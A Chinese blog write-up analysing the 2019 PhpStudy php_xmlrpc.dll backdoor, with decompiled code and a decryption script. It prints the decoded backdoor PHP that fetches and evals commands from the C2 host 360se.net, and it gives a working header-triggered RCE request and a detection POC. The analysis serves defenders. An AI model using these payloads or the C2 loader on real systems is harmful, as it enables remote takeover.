溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

PhpStudy BackDoor2019的漏洞方向

發(fā)布時(shí)間:2021-11-12 11:14:06 來源:億速云 閱讀:167 作者:小新 欄目:網(wǎng)絡(luò)安全

這篇文章主要介紹了PhpStudy BackDoor2019的漏洞方向,具有一定借鑒價(jià)值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。

背景分析

2019年9月20日,杭州市公安局舉行新聞通報(bào)會(huì),通報(bào)今年以來組織開展打擊涉網(wǎng)違法犯罪暨“凈網(wǎng)2019”專項(xiàng)行動(dòng)戰(zhàn)果,通報(bào)內(nèi)容中提到國(guó)內(nèi)著名的PHP調(diào)試環(huán)境程序集成包Phpstudy軟件遭受到以馬某為首的國(guó)內(nèi)黑客團(tuán)伙攻擊并被植入后門。Phpstudy集成環(huán)境包在國(guó)內(nèi)的使用用戶逾百萬,據(jù)悉,此次后門攻擊事件可追溯到2016年,屹今為止累計(jì)控制計(jì)算機(jī)逾67萬臺(tái),該黑客團(tuán)伙通過該后門獲取的用戶信息、各類系統(tǒng)賬號(hào)信息進(jìn)一步開展違法行為,累計(jì)非法牟利600余萬元。

影響版本

phpStudy20180211版本php5.4.45與php5.2.17ext擴(kuò)展文件夾下的php_xmlrpc.dll

phpStudy20161103版本php5.4.45與php5.2.17ext擴(kuò)展文件夾下的php_xmlrpc.dll

環(huán)境準(zhǔn)備

測(cè)試環(huán)境以“phpStudy20161103版本php5.4.45”為例進(jìn)行分析

ps:目前官方已更新舊版本程序,可自行下載https://www.xp.cn

PhpStudy BackDoor2019的漏洞方向

第一個(gè)是目前官方正常配置文件,第二個(gè)是被植入后門的配置文件,從圖中直觀的也能看出來兩個(gè)文件的大小不一樣?。》謩e對(duì)其進(jìn)行Hash校驗(yàn):

PhpStudy BackDoor2019的漏洞方向

MD5(php_xmlrpc.dll):c339482fd2b233fb0a555b629c0ea5d5

MD5(php_xmlrpctrue.dll):6ddb8f2af4b2b24671ddcd82d7c08c91

通過Hash校驗(yàn)發(fā)現(xiàn)兩個(gè)文件的Hash值不一樣!

實(shí)驗(yàn):phpStudy后門漏洞復(fù)現(xiàn)實(shí)驗(yàn):phpStudy后門漏洞復(fù)現(xiàn)(合天網(wǎng)安實(shí)驗(yàn)室)

后門分析

目前各大廠商已將此后門加入威脅情報(bào)庫(kù)中,此處通過virustotal和火絨查看

PhpStudy BackDoor2019的漏洞方向

PhpStudy BackDoor2019的漏洞方向

從上圖可以看到原始的php_xmlrpc.dll存在威脅,接下來開始對(duì)“php_xmlrpc.dll”進(jìn)行深入分析......

通過IDA進(jìn)行查看可以發(fā)現(xiàn)官方更新過的“php_xmlrpc.dll”文件已經(jīng)不存在危險(xiǎn)函數(shù)“sub_100031F0”,下面正式分析被植入后門的“php_xmlrpc.dll”

首先,用IDA打開“php_xmlrpc.dll”,shift+f12定位是否存在危險(xiǎn)字符串

PhpStudy BackDoor2019的漏洞方向

通過索引發(fā)現(xiàn)存在危險(xiǎn)函數(shù)eval()

PhpStudy BackDoor2019的漏洞方向

根據(jù)eval()函數(shù)定位到相應(yīng)的代碼段然后反編譯偽代碼找到后門危險(xiǎn)函數(shù)“sub_100031F0”

PhpStudy BackDoor2019的漏洞方向

PhpStudy BackDoor2019的漏洞方向

“sub_100031F0”程序代碼



{  int v3; // edx  int v4; // eax  int v5; // ecx  int v6; // eax  int v7; // esi  char *v8; // edi  char *v9; // ecx  int v10; // eax  char *v11; // esi  int v12; // eax  char *v13; // edi  char *v14; // ecx  _DWORD *v15; // esi  int v16; // eax  void *v17; // edx  int v18; // eax  void *v19; // edi  _DWORD *v20; // esi  int result; // eax  int v22; // eax  int v23; // ecx  int v24; // eax  int v25; // edi  _DWORD *v26; // esi  char v27; // [esp+Dh] [ebp-19Bh]  __int16 v28; // [esp+BDh] [ebp-EBh]  char v29; // [esp+BFh] [ebp-E9h]  char v30; // [esp+C0h] [ebp-E8h]  char v31; // [esp+100h] [ebp-A8h]  char v32; // [esp+140h] [ebp-68h]  char v33; // [esp+180h] [ebp-28h]  const char ***v34; // [esp+184h] [ebp-24h]  int v35; // [esp+188h] [ebp-20h]  int v36; // [esp+18Ch] [ebp-1Ch]  int **v37; // [esp+190h] [ebp-18h]  int v38; // [esp+194h] [ebp-14h]  _DWORD **v39; // [esp+198h] [ebp-10h]  void *v40; // [esp+19Ch] [ebp-Ch]  char *v41; // [esp+1A0h] [ebp-8h]  char *v42; // [esp+1A4h] [ebp-4h]  memset(&v27, 0, 0xB0u);  v28 = 0;  v3 = *a3;  v29 = 0;  if ( *(_BYTE *)(*(_DWORD *)(v3 + 4 * core_globals_id - 4) + 210) )    zend_is_auto_global(aServer, 7, a3);  zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, 8, &v33);  if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1    && zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + 1, &v34) != -1 )  {    if ( !strcmp(**v34, aGzipDeflate) )    {      if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1        && zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 )      {        v40 = sub_100040B0(**v37, strlen((const char *)**v37));        if ( v40 )        {          v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);          v5 = *(_DWORD *)(v4 + 296);          *(_DWORD *)(v4 + 296) = &ampv30;          v35 = v5;          v6 = setjmp3(&v30, 0);          v7 = v35;          if ( v6 )            *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35;          else            zend_eval_string(v40, 0, &byte_10012884, a3);          *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7;        }      }    }    else    {      v12 = strcmp(**v34, aCompressGzip);      if ( !v12 )      {        v13 = &byte_10012884;        v14 = (char *)&unk_1000D66C;        v42 = &byte_10012884;        v15 = &unk_1000D66C;        while ( 1 )        {          if ( *v15 == 39 )          {            v13[v12] = 92;            v42[v12 + 1] = *v14;            v12 += 2;            v15 += 2;          }          else          {            v13[v12++] = *v14;            ++v15;          }          v14 += 4;          if ( (signed int)v14 >= (signed int)&unk_1000E5** )            break;          v13 = v42;        }        spprintf(&v36, 0, aVSMS, byte_100127B8, Dest);        spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);        v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);        v17 = *(void **)(v16 + 296);        *(_DWORD *)(v16 + 296) = &ampv32;        v40 = v17;        v18 = setjmp3(&v32, 0);        v19 = v40;        if ( v18 )        {          v20 = a3;          *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40;        }        else        {          v20 = a3;          zend_eval_string(v42, 0, &byte_10012884, a3);        }        result = 0;        *(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19;        return result;      }    }  }  if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 < 6000 )  {    if ( strlen(byte_100127B8) == 0 )      sub_10004480(byte_100127B8);    if ( strlen(Dest) == 0 )      sub_10004380(Dest);    if ( strlen(byte_100127EC) == 0 )      sub_100044E0(byte_100127EC);    v8 = &byte_10012884;    v9 = asc_1000D028;    v41 = &byte_10012884;    v10 = 0;    v11 = asc_1000D028;    while ( 1 )    {      if ( *(_DWORD *)v11 == 39 )      {        v8[v10] = 92;        v41[v10 + 1] = *v9;        v10 += 2;        v11 += 8;      }      else      {        v8[v10++] = *v9;        v11 += 4;      }      v9 += 4;      if ( (signed int)v9 >= (signed int)&unk_1000D66C )        break;      v8 = v41;    }    spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);    v22 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);    v23 = *(_DWORD *)(v22 + 296);    *(_DWORD *)(v22 + 296) = &ampv31;    v38 = v23;    v24 = setjmp3(&v31, 0);    v25 = v38;    if ( v24 )    {      v26 = a3;      *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v38;    }    else    {      v26 = a3;      zend_eval_string(v41, 0, &byte_10012884, a3);    }    *(_DWORD *)(*(_DWORD *)(*v26 + 4 * executor_globals_id - 4) + 296) = v25;    if ( dword_1000D010 < 3600 )      dword_1000D010 += 3600;    ftime(&dword_10012AA0);  }  ftime(&dword_10012AB0);  if ( dword_10012AA0 < 0 )    ftime(&dword_10012AA0);  return 0;}

首先分析spprintf()函數(shù)代碼處功能,因?yàn)槠鋵?duì)eval()函數(shù)進(jìn)行了處理



spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);

spprintf函數(shù)是php官方自己封裝的函數(shù),此處實(shí)際上實(shí)現(xiàn)的是字符串拼接功能,實(shí)際代碼如下:



@eval(%s(',27h,'%s',27h,'));@eval(gzuncompress(',27h,’v42′,27h,')); @eval(gzuncompress(',27h,’v41′,27h,'));

ps:eval()函數(shù)中第一個(gè)%s位格式化字符串、第二個(gè)%s為字符串傳參

可以看到上述代碼主要對(duì)v41、v42數(shù)據(jù)進(jìn)行解壓執(zhí)行操控,可以初步猜想惡意代碼存在于v41和v42數(shù)據(jù)中,同理按照思路流程向上去找v41、v42數(shù)據(jù)內(nèi)容,

對(duì)v41的處理代碼



if ( strlen(byte_100127EC) == 0 )      sub_100044E0(byte_100127EC);    v8 = &byte_10012884;    v9 = asc_1000D028;    v41 = &byte_10012884;    v10 = 0;    v11 = asc_1000D028;    while ( 1 )    {      if ( *(_DWORD *)v11 == 39 )      {        v8[v10] = 92;        v41[v10 + 1] = *v9;        v10 += 2;        v11 += 8;      }      else      {        v8[v10++] = *v9;        v11 += 4;      }      v9 += 4;      if ( (signed int)v9 >= (signed int)&unk_1000D66C )        break;      v8 = v41;    }

對(duì)v42的處理代碼



if ( !v12 )      {        v13 = &byte_10012884;        v14 = (char *)&unk_1000D66C;        v42 = &byte_10012884;        v15 = &unk_1000D66C;        while ( 1 )        {          if ( *v15 == 39 )          {            v13[v12] = 92;            v42[v12 + 1] = *v14;            v12 += 2;            v15 += 2;          }          else          {            v13[v12++] = *v14;            ++v15;          }          v14 += 4;          if ( (signed int)v14 >= (signed int)&unk_1000E5** )            break;          v13 = v42;        }

分析代碼可知v41數(shù)據(jù)內(nèi)容是1000D028-1000D66C(基地址為10000000)范圍內(nèi)的數(shù)據(jù),v42數(shù)據(jù)內(nèi)容是1000D66C-1000E5**(基地址為10000000)范圍內(nèi)的數(shù)據(jù),使用010edit查看發(fā)現(xiàn)其均位于.data數(shù)據(jù)塊

PhpStudy BackDoor2019的漏洞方向

PhpStudy BackDoor2019的漏洞方向

由于.data為dword類型每個(gè)值占用4個(gè)字節(jié),代碼處將其轉(zhuǎn)換為char類型進(jìn)行存儲(chǔ),然后使用php內(nèi)置函數(shù)gzuncompress對(duì)其解壓執(zhí)行

使用微步情報(bào)局公開的解密腳本進(jìn)行兩段數(shù)據(jù)的提取解壓



# -*- coding:utf-8 -*-    # !/usr/bin/env python    import os, sys, string, shutil, re    import base64    import struct    import pefile    import ctypes    import zlib    # import put_family_c2    def hexdump(src, length=16):        FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])        lines = []        for c in xrange(0, len(src), length):            chars = src[c:c + length]            hex = ' '.join(["%02x" % ord(x) for x in chars])            printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.')                                 for x in chars])            lines.append("%04x  %-*s  %s\n" % (c, length * 3, hex, printable))        return ''.join(lines)    def descrypt(data):        try:            # data = base64.encodestring(data)            # print(hexdump(data))            num = 0            data = zlib.decompress(data)            # return result            return (True, result)        except Exception, e:            print(e)            return (False, "")    def GetSectionData(pe, Section):        try:            ep = Section.VirtualAddress            ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase            data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize]            # print(hexdump(data))            return data        except Exception, e:            return None    def GetSecsions(PE):        try:            for section in PE.sections:                # print(hexdump(section.Name))                if (section.Name.replace('\x00', '') == '.data'):                    data = GetSectionData(PE, section)                    # print(hexdump(data))                    return (True, data)            return (False, "")        except Exception, e:            return (False, "")    def get_encodedata(filename):        pe = pefile.PE(filename)        (ret, data) = GetSecsions(pe)        if ret:            flag = "gzuncompress"            offset = data.find(flag)            data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("\x00\x00\x00", "")            decodedata_1 = zlib.decompress(data[:0x191])            print(hexdump(data[0x191:]))            decodedata_2 = zlib.decompress(data[0x191:])            with open("decode_1.txt", "w") as hwrite:                hwrite.write(decodedata_1)                hwrite.close            with open("decode_2.txt", "w") as hwrite:                hwrite.write(decodedata_2)                hwrite.close    def main(path):        c2s = []        domains = []        file_list = os.listdir(path)        for f in file_list:            print f            file_path = os.path.join(path, f)            get_encodedata(file_path)    if __name__ == "__main__":        # os.getcwd()        path = "php5.4.45"        main(path)

運(yùn)行結(jié)果生成兩個(gè)數(shù)據(jù)文件分別對(duì)應(yīng)v41、v42,查看數(shù)據(jù)內(nèi)容是經(jīng)過base64編碼過的,對(duì)其解碼

v41數(shù)據(jù)



@ini_set("display_errors","0");    error_reporting(0);    $h = $_SERVER['HTTP_HOST'];    $p = $_SERVER['SERVER_PORT'];    $fp = fsockopen($h, $p, $errno, $errstr, 5);    if (!$fp) {    } else {        $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";        $out .= "Host: {$h}\r\n";        $out .= "Accept-Encoding: compress,gzip\r\n";        $out .= "Connection: Close\r\n\r\n";        fwrite($fp, $out);        fclose($fp);    }

v41腳本:使用fsockopen模擬GET發(fā)包

v42數(shù)據(jù)



@ini_set("display_errors","0");    error_reporting(0);    function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){        $result = "";      $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);      if( !$handle ){        $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);        if( !$handle ){            return "err";        }      }      fwrite($handle, $sendMsg."\n");        while(!feof($handle)){            stream_set_timeout($handle, 2);            $result .= fread($handle, 1024);            $info = stream_get_meta_data($handle);            if ($info['timed_out']) {              break;            }         }      fclose($handle);      return $result;    }    $ds = array("www","bbs","cms","down","up","file","ftp");    $ps = array("20123","40125","8080","80","53");    $n = false;    do {        $n = false;        foreach ($ds as $d){            $b = false;            foreach ($ps as $p){                $result = tcpGet($i,$d.".360se.net",$p);                if ($result != "err"){                    $b =true;                    break;                }            }            if ($b)break;        }        $info = explode("<^>",$result);        if (count($info)==4){            if (strpos($info[3],"/*Onemore*/") !== false){                $info[3] = str_replace("/*Onemore*/","",$info[3]);                $n=true;            }            @eval(base64_decode($info[3]));        }    }while($n);

v42腳本:后門c2服務(wù)器(360se.net)(當(dāng)前c2已經(jīng)失活,因此不會(huì)對(duì)相關(guān)被控主機(jī)造成新的危害)ps:從上面v41、v42數(shù)據(jù)的提取過程,可以發(fā)現(xiàn)攻擊者對(duì)數(shù)據(jù)進(jìn)行了壓縮存儲(chǔ),增加了惡意代碼的隱蔽性,同時(shí)c2服務(wù)器域名模仿了奇虎360公司相關(guān)產(chǎn)品名稱,具有一定的欺詐特性。

實(shí)驗(yàn):phpStudy后門漏洞復(fù)現(xiàn)

實(shí)驗(yàn):phpStudy后門漏洞復(fù)現(xiàn)(合天網(wǎng)安實(shí)驗(yàn)室)

分析反向連接c2后門

核心代碼



v12 = strcmp(**v34, aCompressGzip);       // //compress,gzip      if ( !v12 )      {        v13 = &byte_10012884;        v14 = (char *)&unk_1000D66C;        v42 = &byte_10012884;        v15 = &unk_1000D66C;        while ( 1 )        {          if ( *v15 == 39 )          {            v13[v12] = 92;            v42[v12 + 1] = *v14;            v12 += 2;            v15 += 2;          }          else          {            v13[v12++] = *v14;            ++v15;          }          v14 += 4;          if ( (signed int)v14 >= (signed int)&unk_1000E5** )            break;          v13 = v42;        }        spprintf(&v36, 0, aVSMS, byte_100127B8, Dest);        spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);        v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);        v17 = *(void **)(v16 + 296);

分析代碼邏輯,首先想要執(zhí)行



spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);

必須滿足if( !v12 )



v12 = strcmp(**v34, aCompressGzip);if ( !v12 )

PhpStudy BackDoor2019的漏洞方向

定位aCompressGzip,只要ACCEPT_ENCODING等于compress,gzip即可出發(fā)v42惡意代碼

構(gòu)造相應(yīng)Payload:



GET / HTTP/1.1Host: x.x.x.x…..Accept-Encoding:compress,gzip….

ps:由于C2服務(wù)器已經(jīng)失效,不在進(jìn)行后續(xù)操作

分析正向連接RCE

在C2后門基礎(chǔ)上向上接著分析

核心代碼



if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1    && zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + 1, &v34) != -1 )  {    if ( !strcmp(**v34, aGzipDeflate) )    {      if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1        && zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 )      {        v40 = sub_100040B0(**v37, strlen((const char *)**v37));        if ( v40 )        {          v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);          v5 = *(_DWORD *)(v4 + 296);          *(_DWORD *)(v4 + 296) = &ampv30;          v35 = v5;          v6 = setjmp3(&v30, 0);          v7 = v35;          if ( v6 )            *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35;          else            zend_eval_string(v40, 0, &byte_10012884, a3);          *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7;        }      }    }

分析代碼邏輯

第一個(gè)if(),判斷是否存在HTTP_ACCEPT_ENCODING字段,$_SERVER['HTTP_ACCEPT_ENCODING'] 為當(dāng)前請(qǐng)求的Accept-Encoding:頭部信息的內(nèi)容。

第二個(gè)if(),在第一個(gè)if()基礎(chǔ)上,判斷$_SERVER['HTTP_ACCEPT_ENCODING']字段值是否是gzip,deflate。

第三個(gè)if(),在前兩個(gè)if()的基礎(chǔ)上,判斷是否存在HTTP_ACCEPT_CHARSET字段,$_SERVER['HTTP_ACCEPT_CHARSET']為當(dāng)前請(qǐng)求的Accept-Charset:頭部信息的內(nèi)容。

最后,在前三個(gè)if()的基礎(chǔ)上,提取HTTP_ACCEPT_CHARSET字段值,并對(duì)該值進(jìn)行base64解碼,然后調(diào)用zend_eval_string(v40,0, &byte_10012884, a3); 執(zhí)行RCE。

構(gòu)造相應(yīng)Payload:



GET / HTTP/1.1Host: x.x.x.x…..Accept-Encoding: gzip,deflateAccept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==….

EXP利用

后門RCE

exp構(gòu)造



GET /phpinfo.php HTTP/1.1Host: 192.168.43.146User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip,deflateAccept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==Connection: closeUpgrade-Insecure-Requests: 1

exp利用

PhpStudy BackDoor2019的漏洞方向

Accept-Charset請(qǐng)求頭字段值需要經(jīng)過base64編碼



c3lzdGVtKCJuZXQgdXNlciIpOw== system("net user");

POC構(gòu)造

后門RCE

POC驗(yàn)證

POC代碼編寫利用創(chuàng)宇的pocsuite3框架進(jìn)行編寫,此處放上自己最初寫的POC,只包含漏洞驗(yàn)證模塊,因?yàn)楸救艘褎h掉attack模塊(安全第一?。。。?/p>



import base64import hashlibimport randomimport urllibfrom urllib.parse import urljoin, quotefrom pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, get_listener_ip, get_listener_portfrom pocsuite3.api import requestsfrom pocsuite3.lib.core.data import loggerfrom pocsuite3.lib.utils import get_middle_text class DemoPOC(POCBase):    vulID = '93212'  # ssvid    version = '1.0'    author = ['Qftm']    vulDate = '2019-09-23'    createDate = '2019-09-23'    updateDate = '2019-09-23'    references = ['https://www.seebug.org/vuldb/ssvid-93212']    name = 'phpstudy backdoor'    appPowerLink = 'http://www.finecms.net/show-1.html '    appName = 'phpstudy'    appVersion = 'version = 2018|2016'    vulType = 'backdoor'    desc = '''Phpstudy Backdoor RCE'''    samples = []    install_requires = ['']    category = POC_CATEGORY.EXPLOITS.WEBAPP    def _verify(self):        result = {}        try:            vul_url = urljoin(self.url, '/')            rand_num = random.randint(0, 1000)            hash_flag = hashlib.md5(str(rand_num).encode()).hexdigest()            print(vul_url)            prexp = '''echo '{}' ;'''.format(hash_flag)            exp = base64.b64encode(prexp.encode()).decode()            headers = {'Accept-Encoding': 'gzip,deflate',                       'Accept-Charset': '{}'.format(exp)                       }            r = requests.post(vul_url, headers=headers)            if r.status_code != 404:                if hash_flag in r.text:                    print(r.headers.get("Location"))                    result['VerifyInfo'] = {}                    result['VerifyInfo']['URL'] = self.url        except Exception as ex:            logger.exception(ex)        return self.parse_output(result)    def _attack(self):        result = {}        return self.parse_output(result)    def parse_output(self, result):        output = Output(self)        if result:            output.success(result)        else:            output.fail('target is not vulnerable')        return output register_poc(DemoPOC)

漏洞驗(yàn)證機(jī)制使用隨機(jī)數(shù)產(chǎn)生的MD5值(hash_flag)進(jìn)行校驗(yàn),首先判斷網(wǎng)頁(yè)是否是404提高命中率,然后根據(jù)網(wǎng)頁(yè)返回來的內(nèi)容,比對(duì)查看是否包含相應(yīng)的hash_flag,如果包含則證明存在后門RCE,否則不存在。

驗(yàn)證效果

PhpStudy BackDoor2019的漏洞方向

漏洞預(yù)防

1、內(nèi)部排查確認(rèn)受影響的Phpstudy環(huán)境PC主機(jī),進(jìn)行安全掃描處理(火絨、360安全衛(wèi)士等)、清除可能存在的可疑程序。

2、對(duì)受影響的Phpstudy環(huán)境PC主機(jī)上的用戶賬號(hào)信息做登錄日志審計(jì)、及時(shí)更換相關(guān)賬號(hào)密碼,防止賬號(hào)密碼早已泄露,造成危害。

3、到官網(wǎng)進(jìn)行下載更新,校驗(yàn)hash。

感謝你能夠認(rèn)真閱讀完這篇文章,希望小編分享的“PhpStudy BackDoor2019的漏洞方向”這篇文章對(duì)大家有幫助,同時(shí)也希望大家多多支持億速云,關(guān)注億速云行業(yè)資訊頻道,更多相關(guān)知識(shí)等著你來學(xué)習(xí)!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI